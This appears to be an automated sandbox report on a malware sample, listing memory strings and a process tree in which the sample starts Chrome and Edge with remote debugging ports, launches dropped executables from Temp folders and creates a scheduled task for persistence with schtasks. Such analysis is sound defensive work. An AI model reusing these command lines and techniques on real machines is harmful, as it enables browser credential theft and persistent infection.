Source: file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2478779292.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2478779292.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2478779292.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2478779292.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2478779292.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2478779292.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2233614770.000000001D479000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2312774002.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005417000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2869580459.0000000005450000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002024289.0000000005459000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020825559.0000000000CEF000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002507384.000000000543A000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020328568.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3320674883.00000000057B2000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3287591854.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2478779292.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2478779292.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2204,i,16906974365476907913,9452084672896798639,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2168,i,6388179550291018512,14390787030436108135,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6612 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6800 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIDGDHCGC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGHIDGDHCGC.exe "C:\Users\user\DocumentsGHIDGDHCGC.exe"
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe "C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe "C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7100 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe "C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6972 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe "C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe "C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe "C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe"
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=3184 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe "C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1864 --field-trial-handle=2016,i,4962616623061783139,15835514169929134595,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5588 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe "C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe"
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2492,i,16725161677083735427,9451106659774162730,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6348 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=280,i,13025056883982514097,7445965038179870877,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2044,i,12512903684806153351,6029847284752291960,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5540 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2460 -s 1256
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIDGDHCGC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2204,i,16906974365476907913,9452084672896798639,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2168,i,6388179550291018512,14390787030436108135,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2492,i,16725161677083735427,9451106659774162730,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6612 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6800 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7100 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6972 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=3184 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6348 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5540 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGHIDGDHCGC.exe "C:\Users\user\DocumentsGHIDGDHCGC.exe"
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe "C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe "C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe "C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe"
